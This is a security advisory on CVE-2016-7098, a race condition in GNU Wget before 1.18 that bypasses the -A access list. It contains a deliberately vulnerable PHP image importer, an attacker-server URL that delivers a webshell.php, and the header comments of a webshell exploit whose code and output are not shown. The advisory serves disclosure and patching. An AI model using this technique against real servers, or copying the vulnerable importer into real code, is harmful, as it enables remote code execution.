- Release date: 24.11.2016
- Revision 1.0
- Severity: Medium
=============================================

I. VULNERABILITY
-------------------------

GNU Wget < 1.18       Access List Bypass / Race Condition

II. BACKGROUND
-------------------------

"GNU Wget is a free software package for retrieving files using HTTP, HTTPS and
FTP, the most widely-used Internet protocols.
It is a non-interactive commandline tool, so it may easily be called from
scripts, cron jobs, terminals without X-Windows support, etc.

GNU Wget has many features to make retrieving large files or mirroring entire
web or FTP sites easy
"

https://www.gnu.org/software/wget/

III. INTRODUCTION
-------------------------

GNU wget in version 1.17 and earlier, when used in mirroring/recursive mode,
is affected by a Race Condition vulnerability that might allow remote attackers
to bypass intended wget access list restrictions specified with -A parameter.
This might allow attackers to place malicious/restricted files onto the system.
Depending on the application / download directory, this could potentially lead
to other vulnerabilities such as code execution etc.

IV. DESCRIPTION
-------------------------

When wget is used in recursive/mirroring mode, according to the manual it can
take the following access list options:

"Recursive Accept/Reject Options:
-A acclist --accept acclist
-R rejlist --reject rejlist

Specify comma-separated lists of file name suffixes or patterns to accept or
reject. Note that if any of the wildcard characters, *, ?, [ or ], appear in
an element of acclist or rejlist, it will be treated as a pattern, rather
than a suffix."

These can for example be used to only download JPG images.

It was however discovered that when a single file is requested with recursive
option (-r / -m) and an access list ( -A ), wget only applies the checks at the
end of the download process.

This can be observed in the output below:

# wget -r -nH -A '*.jpg' http://attackersvr/test.php
Resolving attackersvr... 192.168.57.1
Connecting to attackersvr|192.168.57.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: â€˜test.phpâ€™

15:05:46 (27.3 B/s) - â€˜test.phpâ€™ saved [52]

Removing test.php since it should be rejected.

FINISHED

Although wget deletes the file at the end of the download process, this creates
a race condition as an attacker with control over the URL/remote server could
intentionally slow down the download process so that they had a chance to make
use of the malicious file before it gets deleted.

It is very easy to win the race as the file only gets deleted after the HTTP
connection is terminated. The attacker could therefore keep the connection open
as long as it was necessary to make use of the uploaded file as demonstrated
in the proof of concept below.

V. PROOF OF CONCEPT EXPLOIT
------------------------------

Here is a simple vulnerable PHP web application that uses wget to download
images from a user-provided server/URL:

---[ image_importer.php ]---

<?php
        // Vulnerable webapp [image_importer.php]
        // Uses wget to import user images from provided site URL
        // It only accepts JPG files (-A wget option).

        if ( isset($_GET['imgurl']) ) {
                $URL = escapeshellarg($_GET['imgurl']);
        } else {
                die("imgurl parameter missing");
        }

        if ( !file_exists("image_uploads") ) {
                mkdir("image_uploads");
        }

        // Download user JPG images into /image_uploads directory
        system("wget -r -nH -P image_uploads -A '*.jpg' $URL 2>&1");
?>

----------------------------

For example:
https://victimsvr/image_importer.php?imgurl= href="http://images/logo.jpg">http://images/logo.jpg

will cause wget to upload logo.jpg file into:
https://victimsvr/images_uploads/logo.jpg

The wget access list (-A) is to ensure that only .jpg files get uploaded.

However due to the wget race condition vulnerability an attacker could use
the exploit below to upload an arbitrary PHP script to /image_uploads directory
and achieve code execution.

# Wget < 1.18 Access List Bypass / Race Condition PoC Exploit
# CVE-2016-7098
#
# Dawid Golunski
# https://legalhackers.com
#
#
# This PoC wget exploit can be used to bypass wget -A access list and upload a malicious
# file for long enough to take advantage of it.
# The exploit sets up a web server on port 80 and waits for a download request from wget.
# It then supplies a PHP webshell payload and requests the uploaded file before it gets
# removed by wget.
#
# Adjust target URL (WEBSHELL_URL) before executing.

If the attacker run this exploit on their server ('attackersver') and pointed
the vulnerable script image_importer.php at it via URL:

https://victimsvr/image_importer.php?imgurl= href="http://attackersvr/webshell.php">http://attackersvr/webshell.php

The attacker will see output similar to:

VI. BUSINESS IMPACT
-------------------------

The vulnerability might allow remote servers to bypass intended wget access list
restrictions to temporarily store a malicious file on the server.
In certain cases, depending on the context wget command was used in and download
path, this issue could potentially lead to other vulnerabilities such as
script execution as shown in the PoC section.

VII. SYSTEMS AFFECTED
-------------------------

Wget < 1.18

VIII. SOLUTION
-------------------------

Update to latest version of wget 1.18 or apply patches provided by the vendor.
